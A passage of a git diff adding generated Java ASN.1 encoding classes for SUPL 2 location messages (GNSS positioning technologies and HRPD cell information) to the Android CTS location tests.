+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.modernized_gpsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "modernized_gps : "
+ + getModernized_gps().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getQzss() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getQzss();
+ }
+
+ @Override public void setToNewInstance() {
+ setQzssToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.qzssType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "qzss : "
+ + getQzss().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 5);
+
+ @Override public boolean isExplicitlySet() {
+ return getGlonass() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGlonass();
+ }
+
+ @Override public void setToNewInstance() {
+ setGlonassToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GNSSPosTechnology.glonassType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "glonass : "
+ + getGlonass().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gpsType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_gpsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gpsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gpsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gpsType != null) {
+ return ImmutableList.of(TAG_gpsType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gpsType from encoded stream.
+ */
+ public static gpsType fromPerUnaligned(byte[] encodedBytes) {
+ gpsType result = new gpsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gpsType from encoded stream.
+ */
+ public static gpsType fromPerAligned(byte[] encodedBytes) {
+ gpsType result = new gpsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gpsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class galileoType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_galileoType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public galileoType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_galileoType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_galileoType != null) {
+ return ImmutableList.of(TAG_galileoType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new galileoType from encoded stream.
+ */
+ public static galileoType fromPerUnaligned(byte[] encodedBytes) {
+ galileoType result = new galileoType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new galileoType from encoded stream.
+ */
+ public static galileoType fromPerAligned(byte[] encodedBytes) {
+ galileoType result = new galileoType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "galileoType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_sbasType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasType != null) {
+ return ImmutableList.of(TAG_sbasType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasType from encoded stream.
+ */
+ public static sbasType fromPerUnaligned(byte[] encodedBytes) {
+ sbasType result = new sbasType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasType from encoded stream.
+ */
+ public static sbasType fromPerAligned(byte[] encodedBytes) {
+ sbasType result = new sbasType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class modernized_gpsType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_modernized_gpsType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public modernized_gpsType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_modernized_gpsType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_modernized_gpsType != null) {
+ return ImmutableList.of(TAG_modernized_gpsType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new modernized_gpsType from encoded stream.
+ */
+ public static modernized_gpsType fromPerUnaligned(byte[] encodedBytes) {
+ modernized_gpsType result = new modernized_gpsType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new modernized_gpsType from encoded stream.
+ */
+ public static modernized_gpsType fromPerAligned(byte[] encodedBytes) {
+ modernized_gpsType result = new modernized_gpsType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "modernized_gpsType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class qzssType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_qzssType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public qzssType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_qzssType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_qzssType != null) {
+ return ImmutableList.of(TAG_qzssType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new qzssType from encoded stream.
+ */
+ public static qzssType fromPerUnaligned(byte[] encodedBytes) {
+ qzssType result = new qzssType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new qzssType from encoded stream.
+ */
+ public static qzssType fromPerAligned(byte[] encodedBytes) {
+ qzssType result = new qzssType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "qzssType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class glonassType extends Asn1Boolean {
+ //
+
+ private static final Asn1Tag TAG_glonassType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public glonassType() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_glonassType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_glonassType != null) {
+ return ImmutableList.of(TAG_glonassType);
+ } else {
+ return Asn1Boolean.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new glonassType from encoded stream.
+ */
+ public static glonassType fromPerUnaligned(byte[] encodedBytes) {
+ glonassType result = new glonassType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new glonassType from encoded stream.
+ */
+ public static glonassType fromPerAligned(byte[] encodedBytes) {
+ glonassType result = new glonassType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "glonassType = " + getValue() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GNSSPosTechnology = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
new file mode 100755
index 0000000..59da1c2
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/HrpdCellInformation.java
@@ -0,0 +1,872 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class HrpdCellInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_HrpdCellInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public HrpdCellInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_HrpdCellInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_HrpdCellInformation != null) {
+ return ImmutableList.of(TAG_HrpdCellInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new HrpdCellInformation from encoded stream.
+ */
+ public static HrpdCellInformation fromPerUnaligned(byte[] encodedBytes) {
+ HrpdCellInformation result = new HrpdCellInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new HrpdCellInformation from encoded stream.
+ */
+ public static HrpdCellInformation fromPerAligned(byte[] encodedBytes) {
+ HrpdCellInformation result = new HrpdCellInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private HrpdCellInformation.refSECTORIDType refSECTORID_;
+ public HrpdCellInformation.refSECTORIDType getRefSECTORID() {
+ return refSECTORID_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HrpdCellInformation.refSECTORIDType
+ */
+ public void setRefSECTORID(Asn1Object value) {
+ this.refSECTORID_ = (HrpdCellInformation.refSECTORIDType) value;
+ }
+ public HrpdCellInformation.refSECTORIDType setRefSECTORIDToNewInstance() {
+ refSECTORID_ = new HrpdCellInformation.refSECTORIDType();
+ return refSECTORID_;
+ }
+
+ private HrpdCellInformation.refBASELATType refBASELAT_;
+ public HrpdCellInformation.refBASELATType getRefBASELAT() {
+ return refBASELAT_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HrpdCellInformation.refBASELATType
+ */
+ public void setRefBASELAT(Asn1Object value) {
+ this.refBASELAT_ = (HrpdCellInformation.refBASELATType) value;
+ }
+ public HrpdCellInformation.refBASELATType setRefBASELATToNewInstance() {
+ refBASELAT_ = new HrpdCellInformation.refBASELATType();
+ return refBASELAT_;
+ }
+
+ private HrpdCellInformation.reBASELONGType reBASELONG_;
+ public HrpdCellInformation.reBASELONGType getReBASELONG() {
+ return reBASELONG_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HrpdCellInformation.reBASELONGType
+ */
+ public void setReBASELONG(Asn1Object value) {
+ this.reBASELONG_ = (HrpdCellInformation.reBASELONGType) value;
+ }
+ public HrpdCellInformation.reBASELONGType setReBASELONGToNewInstance() {
+ reBASELONG_ = new HrpdCellInformation.reBASELONGType();
+ return reBASELONG_;
+ }
+
+ private HrpdCellInformation.refWeekNumberType refWeekNumber_;
+ public HrpdCellInformation.refWeekNumberType getRefWeekNumber() {
+ return refWeekNumber_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HrpdCellInformation.refWeekNumberType
+ */
+ public void setRefWeekNumber(Asn1Object value) {
+ this.refWeekNumber_ = (HrpdCellInformation.refWeekNumberType) value;
+ }
+ public HrpdCellInformation.refWeekNumberType setRefWeekNumberToNewInstance() {
+ refWeekNumber_ = new HrpdCellInformation.refWeekNumberType();
+ return refWeekNumber_;
+ }
+
+ private HrpdCellInformation.refSecondsType refSeconds_;
+ public HrpdCellInformation.refSecondsType getRefSeconds() {
+ return refSeconds_;
+ }
+ /**
+ * @throws ClassCastException if value is not a HrpdCellInformation.refSecondsType
+ */
+ public void setRefSeconds(Asn1Object value) {
+ this.refSeconds_ = (HrpdCellInformation.refSecondsType) value;
+ }
+ public HrpdCellInformation.refSecondsType setRefSecondsToNewInstance() {
+ refSeconds_ = new HrpdCellInformation.refSecondsType();
+ return refSeconds_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSECTORID() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSECTORID();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSECTORIDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.refSECTORIDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSECTORID : "
+ + getRefSECTORID().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefBASELAT() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefBASELAT();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefBASELATToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.refBASELATType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refBASELAT : "
+ + getRefBASELAT().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getReBASELONG() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getReBASELONG();
+ }
+
+ @Override public void setToNewInstance() {
+ setReBASELONGToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.reBASELONGType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "reBASELONG : "
+ + getReBASELONG().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefWeekNumber() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefWeekNumber();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefWeekNumberToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.refWeekNumberType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refWeekNumber : "
+ + getRefWeekNumber().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 4);
+
+ @Override public boolean isExplicitlySet() {
+ return getRefSeconds() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRefSeconds();
+ }
+
+ @Override public void setToNewInstance() {
+ setRefSecondsToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? HrpdCellInformation.refSecondsType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "refSeconds : "
+ + getRefSeconds().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refSECTORIDType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_refSECTORIDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refSECTORIDType() {
+ super();
+ setMinSize(128);
+setMaxSize(128);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refSECTORIDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refSECTORIDType != null) {
+ return ImmutableList.of(TAG_refSECTORIDType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerUnaligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refSECTORIDType from encoded stream.
+ */
+ public static refSECTORIDType fromPerAligned(byte[] encodedBytes) {
+ refSECTORIDType result = new refSECTORIDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refSECTORIDType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refBASELATType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refBASELATType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refBASELATType() {
+ super();
+ setValueRange("0", "4194303");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refBASELATType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_refBASELATType != null) {
+ return ImmutableList.of(TAG_refBASELATType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerUnaligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new refBASELATType from encoded stream.
+ */
+ public static refBASELATType fromPerAligned(byte[] encodedBytes) {
+ refBASELATType result = new refBASELATType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "refBASELATType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class reBASELONGType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_reBASELONGType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public reBASELONGType() {
+ super();
+ setValueRange("0", "8388607");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_reBASELONGType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_reBASELONGType != null) {
+ return ImmutableList.of(TAG_reBASELONGType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerUnaligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new reBASELONGType from encoded stream.
+ */
+ public static reBASELONGType fromPerAligned(byte[] encodedBytes) {
+ reBASELONGType result = new reBASELONGType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "reBASELONGType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class refWeekNumberType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_refWeekNumberType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public refWeekNumberType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_refWeekNumberType;
+ }
+
+ @Override
